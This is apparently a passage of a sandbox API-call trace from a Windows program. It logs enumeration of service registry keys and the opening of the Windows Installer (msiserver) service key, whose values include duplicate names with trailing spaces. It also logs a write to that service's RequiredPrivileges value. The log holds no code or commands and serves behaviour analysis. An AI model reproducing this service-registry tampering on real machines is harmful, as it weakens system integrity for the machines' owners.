RegEnumKeyW (in: hKey=0x148, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0213.080] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0213.080] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0213.080] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0213.080] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0213.080] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0213.080] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0213.080] RegEnumKeyW (in: hKey=0x148, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0213.080] RegEnumKeyW (in: hKey=0x148, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0213.080] RegEnumKeyW (in: hKey=0x148, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0213.081] RegEnumKeyW (in: hKey=0x148, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0213.081] RegEnumKeyW (in: hKey=0x148, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0213.081] RegEnumKeyW (in: hKey=0x148, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0213.081] RegEnumKeyW (in: hKey=0x148, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0213.081] RegEnumKeyW (in: hKey=0x148, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0213.081] RegEnumKeyW (in: hKey=0x148, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0213.081] RegEnumKeyW (in: hKey=0x148, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0213.081] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0213.081] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0213.081] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0213.081] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0213.081] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0213.081] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0213.081] RegEnumKeyW (in: hKey=0x148, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0213.081] RegEnumKeyW (in: hKey=0x148, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0213.082] RegEnumKeyW (in: hKey=0x148, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0213.082] RegEnumKeyW (in: hKey=0x148, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0213.082] RegEnumKeyW (in: hKey=0x148, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0213.082] RegEnumKeyW (in: hKey=0x148, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0213.082] RegEnumKeyW (in: hKey=0x148, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0213.082] RegEnumKeyW (in: hKey=0x148, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0213.082] RegEnumKeyW (in: hKey=0x148, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0213.082] RegEnumKeyW (in: hKey=0x148, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0213.082] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0213.082] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0213.082] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0213.082] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0213.082] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0213.082] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0213.082] RegEnumKeyW (in: hKey=0x148, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0213.083] RegEnumKeyW (in: hKey=0x148, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0213.083] RegEnumKeyW (in: hKey=0x148, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0213.083] RegEnumKeyW (in: hKey=0x148, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0213.083] RegEnumKeyW (in: hKey=0x148, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0213.083] RegEnumKeyW (in: hKey=0x148, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0213.083] RegEnumKeyW (in: hKey=0x148, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0213.083] RegEnumKeyW (in: hKey=0x148, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0213.083] RegEnumKeyW (in: hKey=0x148, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0213.083] RegEnumKeyW (in: hKey=0x148, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0213.083] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0213.083] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0213.083] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0213.083] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0213.083] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0213.083] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0213.084] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0213.084] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0213.084] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0213.084] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0213.084] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0213.084] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0213.084] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0213.084] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0213.084] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0213.084] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0213.084] RegEnumKeyW (in: hKey=0x148, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0213.084] RegEnumKeyW (in: hKey=0x148, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0213.084] RegEnumKeyW (in: hKey=0x148, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0213.084] RegEnumKeyW (in: hKey=0x148, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0213.085] RegEnumKeyW (in: hKey=0x148, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0213.085] RegEnumKeyW (in: hKey=0x148, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0213.085] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0213.085] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0213.085] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0213.085] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0213.085] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0213.085] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0213.085] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0213.085] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0213.085] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0213.085] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0213.085] RegEnumKeyW (in: hKey=0x148, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0213.085] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0213.085] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0213.086] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0213.086] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0213.086] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0213.086] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0213.086] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0213.086] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0213.086] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0213.086] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0213.086] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0213.086] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0213.086] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0213.086] RegOpenKeyExW (in: hKey=0x148, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0213.086] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0213.086] RegCloseKey (hKey=0x148) returned 0x0 [0213.086] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0213.087] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0213.087] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0213.087] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0213.087] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0213.087] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0213.087] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0213.087] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0213.087] RegCloseKey (hKey=0x80000002) returned 0x0 [0213.087] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0213.087] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0213.087] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0213.087] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0213.087] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0213.087] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0213.087] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0213.088] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0213.088] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0213.088] RegOpenKeyExW (in: hKey=0x154, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0213.088] RegCloseKey (hKey=0x154) returned 0x0 [0213.088] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0213.088] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0213.088] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0213.088] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0213.088] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0213.088] RegOpenKeyExW (in: hKey=0x148, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0213.088] RegCloseKey (hKey=0x148) returned 0x0 [0213.088] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0213.088] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0213.088] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0213.088] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0213.089] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0213.089] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0213.089] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0213.089] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0213.089] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0213.089] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0213.089] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0213.090] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0213.090] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0213.090] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0213.090] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0213.090] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0213.090] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0213.090] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0213.090] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0213.090] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0213.090] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0213.090] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0213.090] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0213.090] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0213.090] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0213.091] RegSetValueExA (in: hKey=0x148, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0213.091] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0213.091] RegSetValueExA (in: hKey=0x148, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x1, lpData="", cbData=0x1 | out: lpData="") returned 0x0 [0213.091] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0213.091] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0213.091] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0213.091] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0213.091] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0213.091] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0213.091] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0213.092] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0213.092] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0213.092] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0213.092] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0213.092] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0213.092] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0213.092] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0213.092] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: 